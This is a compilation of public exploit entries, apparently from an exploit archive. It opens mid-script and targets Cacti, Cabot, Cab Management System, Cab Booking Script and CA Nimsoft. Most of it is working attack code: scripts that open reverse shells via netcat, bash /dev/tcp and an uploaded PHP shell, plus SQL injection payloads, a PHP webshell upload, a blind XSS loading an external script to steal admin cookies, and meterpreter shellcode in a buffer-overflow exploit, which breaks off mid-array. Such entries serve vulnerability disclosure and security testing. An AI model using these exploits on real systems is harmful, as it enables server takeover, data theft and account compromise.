    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
        return False
    else:
        return True

def enable_guest(token):
    request_info = {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request = request.post(url+"/user_admin.php?header=false", request_info)
    if enable_request:
        return True
    else:
        return False

def send_exploit():
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status = login(token)
    if login_status:
        print("[+]Successfully LoggedIn")
        print("[+]Retrieving CSRF token ..")
        page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
        html_content = page.text
        soup = BeautifulSoup(html_content, "html5lib")
        token = soup.findAll('input')[1].get("value")
        if token:
            print("[+]Making some noise ..")
            guest_realtime = enable_guest(token)
            if guest_realtime:
                print("[+]Sending malicous request, check your nc ;)")
                send_exploit()
            else:
                print("[-]Error while activating the malicous account")

        else:
            print("[-] Unable to retrieve CSRF token from admin page!")
            exit()

    else:
        print("[-]Cannot Login!")
else:
    print("[-] Unable to retrieve CSRF token!")
    exit()
            
# Exploit Title: Cacti 1.2.26 -  Remote Code Execution (RCE) (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641

#!/usr/bin/python3

import os
import requests
import base64
import gzip
import time
import argparse
import string
import random
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization

def get_random_string(length):
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))

    return result_str

def check_version(url_to_check):
    r = requests.get(url_to_check)
    response = r.text

    if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
        print("[+] Version seems to be 1.2.26")
    else:
        print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")


# Main function
if __name__ == '__main__':

    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    # Parse CLI arguments
    parser = p.parse_args()

    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    url = url.rstrip("/")

    print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n")

    # check if versions match
    print("[*] Checking Cacti version...")
    time.sleep(0.5)

    check = check_version(url + "/CHANGELOG")
    if check == False:
        sys.exit(0)

    req = requests.Session()

    if verbose:
        print("[*] Capturing CSRF token...")

    r = req.get(url)

    # extract CSRF token
    soup = BeautifulSoup(r.text, 'html.parser')
    html_parser = soup.find('input', {'name': '__csrf_magic'})
    csrf_token = html_parser.get('value')

    if verbose:
        print("[+] CSRF token: " + csrf_token)

    print("[*] Logging in on " + url + "/index.php")

    # define login post data
    login_data = {
        '__csrf_magic': csrf_token,
        'action': 'login',
        'login_username': username,
        'login_password': password,
        'remember_me': 'on'
    }

    # send login request
    r = req.post(url + "/index.php", data=login_data)

    # check success
    if 'Logged in' in r.text:
        print("[+] Successfully logged in as " + username)
    else:
        print("[-] An error has ocurred while logging in as " + username)
        sys.exit(0)

    # generate random filename
    random_name = get_random_string(10)
    random_filename = random_name + ".php"

    payload = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '""" + lhost + """';
$port = """ + lport + """;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>"""

    # generate payload
    print("[*] Generating malicious payload...")

    keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
    file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
    
    b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    b64_file_signature = base64.b64encode(file_signature).decode('utf-8')
    b64_public_key = base64.b64encode(public_key).decode('utf-8')

    data = """<xml>
   <files>
       <file>
           <name>resource/""" + random_filename + """</name>
           <data>""" + b64_payload + """</data>
           <filesignature>""" + b64_file_signature + """</filesignature>
       </file>
   </files>
   <publickey>""" + b64_public_key + """</publickey>
   <signature></signature>
</xml>"""

    signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
    final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8')

    # write gzip data
    f = open(random_filename + ".gz", "wb")
    f.write(gzip.compress(final_data))
    f.close()

    print("[+] Malicious GZIP: " + random_filename + ".gz")

    # define post data
    post_data = {
        '__csrf_magic': csrf_token,
        'trust_signer': 'on',
        'save_component_import': 1,
        'action': 'save'
    }

    # upload file
    print("[*] Uploading GZIP file...")

    # send post request
    r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')})

    print("[+] Successfully uploaded GZIP file")

    time.sleep(0.5)

    print("[*] Validating success...")

    soup = BeautifulSoup(r.text, 'html.parser')
    html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename})
    file_id = html_parser.get('id')

    post_data = {
        '__csrf_magic': csrf_token,
        'trust_signer': 'on',
        'data_source_profile': 1,
        'remove_orphans': 'on',
        'replace_svalues': 'on',
        file_id: 'on',
        'save_component_import': 1,
        'preview_only': '',
        'action': 'save',
    }

    r = req.post(url + "/package_import.php?header=false", data=post_data)

    print("[+] Success!")
    
    time.sleep(0.5)

    print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename)
    time.sleep(0.2)
    print("[+] Check your netcat listener")

    # remove payload file
    os.remove(random_filename + ".gz")

    r = req.get(url + "/resource/" + random_filename)
            
# Exploit Title: Cacti 1.2.24 - Authenticated command injection when using SNMP options
# Date: 2023-07-03
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/info/downloads
# Version: Cacti 1.2.24
# Tested on: Cacti 1.2.24 installed on 'php:7.4.33-apache' Docker container
# CVE: CVE-2023-39362
# Category: WebApps
# Original Security Advisory: https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp
# Example Vulnerable Application: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
# Vulnerability discovered and reported by: Antonio Francesco Sardella

=======================================================================================
Cacti 1.2.24 - Authenticated command injection when using SNMP options (CVE-2023-39362)
=======================================================================================

-----------------
Executive Summary
-----------------

In Cacti 1.2.24, under certain conditions, an authenticated privileged user, can use a malicious string in the SNMP options of a Device, performing command injection and obtaining remote code execution on the underlying server.

-------
Exploit
-------

Prerequisites:
    - The attacker is authenticated.
    - The privileges of the attacker allow to manage Devices and/or Graphs, e.g., "Sites/Devices/Data", "Graphs".
    - A Device that supports SNMP can be used.
    - Net-SNMP Graphs can be used.
    - snmp module of PHP is not installed.

Example of an exploit:
    - Go to "Console" > "Create" > "New Device".
    - Create a Device that supports SNMP version 1 or 2.
    - Ensure that the Device has Graphs with one or more templates of:
        - "Net-SNMP - Combined SCSI Disk Bytes"
        - "Net-SNMP - Combined SCSI Disk I/O"
        - (Creating the Device from the template "Net-SNMP Device" will satisfy the Graphs prerequisite)
    - In the "SNMP Options", for the "SNMP Community String" field, use a value like this:
        public\' ; touch /tmp/m3ssap0 ; \'
    - Click the "Create" button.
    - Check under /tmp the presence of the created file.

To obtain a reverse shell, a payload like the following can be used.

    public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'

A similar exploit can be used editing an existing Device, with the same prerequisites, and waiting for the poller to run. It could be necessary to change the content of the "Downed Device Detection" field under the "Availability/Reachability Options" section with an item that doesn't involve SNMP (because the malicious payload could break the interaction with the host).

----------
Root Cause
----------

A detailed root cause of the vulnerability is available in the original security advisory (https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp) or in my blog post (https://m3ssap0.github.io/articles/cacti_authenticated_command_injection_snmp.html).

----------
References
----------

    - https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp
    - https://m3ssap0.github.io/articles/cacti_authenticated_command_injection_snmp.html
    - https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
            
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
    print("[+] Connecting to the server...")
    get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

    print("[+] Retrieving CSRF token...")
    html_content = get_token_request.text
    soup = BeautifulSoup(html_content, 'html.parser')

    csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

    if csrf_token:
        print(f"[+] Got CSRF token: {csrf_token}")
        print("[+] Trying to log in...")

        data = {
            '__csrf_magic': csrf_token,
            'action': 'login',
            'login_username': username,
            'login_password': password
        }

        login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
        if "Invalid User Name/Password Please Retype" in login_request.text:
            print("[-] Unable to log in. Check your credentials")
            sys.exit()
        else:
            print("[+] Successfully logged in!")
    else:
        print("[-] Unable to retrieve CSRF token!")
        sys.exit()


def exploit(lhost, lport, session):
    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

    print("\n[+] SQL Injection:")
    print(exploit_request.text)

    try:
        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
    except Exception:
        pass

    print("[+] Check your nc listener!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

    parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
    parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
    parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
    parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
    parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
    args = parser.parse_args()

    url = args.t
    username = args.u
    password = args.p
    lhost = args.lhost
    lport = args.lport

    session = requests.Session()

    login(url, username, password, session)
    exploit(lhost, lport, session)
            
# Exploit Title: Cabot 0.11.12 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Abhiram V
# Vendor Homepage: https://cabotapp.com/
# Software Link: https://github.com/arachnys/cabot
# Version: 0.11.12
# Tested on: Ubuntu Linux

############################################################################

Introduction

Cabot is a free, open-source, self-hosted infrastructure monitoring
platform
that provides some of the best features of PagerDuty, Server Density,
Pingdom
and Nagios without their cost and complexity.It provides a web interface
that allows
us to monitor services and send telephone, sms or hipchat/email alerts to
your
on-duty team if those services start misbehaving or go down .

############################################################################

XSS details: Blind XSS

############################################################################

Executing Blind XSS in New Instances leads to admin account takeover

URL
http://127.0.0.1:5000/instance/create/

PAYLOAD
"><script src=https://anonart.xss.ht></script>
*payload from xsshunter.com platform for finding blind xss*

PARAMETER
Address column

EXPLOITATION
Create a user account under django administrator account and login as user
to perform the attack
Create a new instance and save the instances, Navigate to Services.
Create a new Service from then input a Name and Url (for POC i used
BlindXSS in both columns).
Then append the admin account in Users to notify column and use status
check and instances then save.
Now the admin account gets a notification when the admin runs the check
Blind XSS executes in background.
when login to xsshunter.com we can see the screenshots cookies and all
details of admin account

IMPACT
Stored XSS can be executed from any accounts and triggered in any accounts
including django administration
unknowingly by the victim (here it is admin) and compromise the accounts.

Tested in both xsshunter.com and blindf.com
Attacker can also use stored xss payloads here.

############################################################################
            
# Exploit Title: Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
# 
#  Step 1: Login admin account and go settings of site
#  Step 2: Update web site icon and selecet a webshell.php
#  Step3 : Upload your webshell that's it...
#
######## Proof of Concept ########

========>>> START REQUEST <<<=========

POST /cms/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 11338
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/?page=system_info
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml
Connection: close


<-- SNIPP HERE -->
------WebKitFormBoundaryc5vp1oayEolowCbb
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryc5vp1oayEolowCbb
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryc5vp1oayEolowCbb--
<-- SNIPP HERE -->

========>>> END REQUEST <<<=========


========>>> EXPLOIT CODE <<<=========


import requests
print("""
--------------------------------------------
|                                          |
|   Author: Alperen Ergel (@alpernae)      |
|                                          | 
|   CAB Management System v1 Exploit       |
|                                          |
--------------------------------------------
""")
username = input("Username: ")
password = input("Password: ")
URL = input("Domain: ")

burp0_url = "http://" + URL + "/cms/classes/Login.php?f=login"
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://192.168.1.33", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://192.168.1.33/cms/admin/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": username, "password": password}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


FILE = input("File: ")

burp0_url = "http://" + URL + "/cms/classes/SystemSettings.php?f=update_settings"
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://localhost", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost/cms/admin/?page=system_info", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nCab Management System\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nCMS - PHP\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[welcome]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[about]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + FILE + "\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"cover\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
            
# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
# 
#  Authenticate and get update client settings will be appear the
#  id paramater put your payload at there it'll be work 
# 
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
Connection: close
            
# # # # # 
# Exploit Title: Cab Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/cab-booking-script-2/
# Demo: http://fxwebsolution.com/demo/cab_booking/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/service-list?city=[SQL]&main_search=
# 
# '+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# 
# # # # #
            
# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
# Exploit Author: wetw0rk
# Exploit Version: Public POC
# Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en
# Software Version : 7.80
# Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64)
# CVE: CVE-2020-8012   

/************************************************************************************************************************** 
 *                                                                                                                        *
 * Description:                                                                                                           *
 *                                                                                                                        *
 *    Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected.   *
 *    The exploit won't crash the service.                                                                                *
 *                                                                                                                        *
 *    You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it   *
 *    should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *
 *    universal (worked first try on 2012).                                                                               *
 *                                                                                                                        *
 * Note:                                                                                                                  *
 *                                                                                                                        *
 *     This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass    *
 *     the stack cookie. WE OUT HERE!!!                                                                                   *
 *                                                                                                                        *
 * Compile:                                                                                                               *
 *                                                                                                                        *
 *    gcc poc_release.c -o singAboutMeImDyingOfThirst                                                                     *
 *                                                                                                                        *
 * Shoutout:                                                                                                              *
 *                                                                                                                        *
 *    Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA         *
 *    for dropping Ghidra, and my Mentor                                                                                  *
 *                                                                                                                        *
 * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *
 * 11/07/19 - Vendor contacted (POC code and POC video sent)                                                              *
 * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug                                       *
 * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled                                                      *
 * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...)                                                 *
 * 12/03/19 - Vendor confirms exploitability and vulnerability presence                                                   *
 * 12/13/19 - Vendor finalizing hotfix                                                                                    *
 * 12/19/19 - Vendor hotfix tested against POC code                                                                       *
 * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20                               *
 * 01/21/20 - Vendor replies (awaiting more info)                                                                         *
 * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch                   *
 * 02/XX/20 - PoC sample dropped                                                                                          *
 **************************************************************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */
unsigned char shellcode[] = \
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
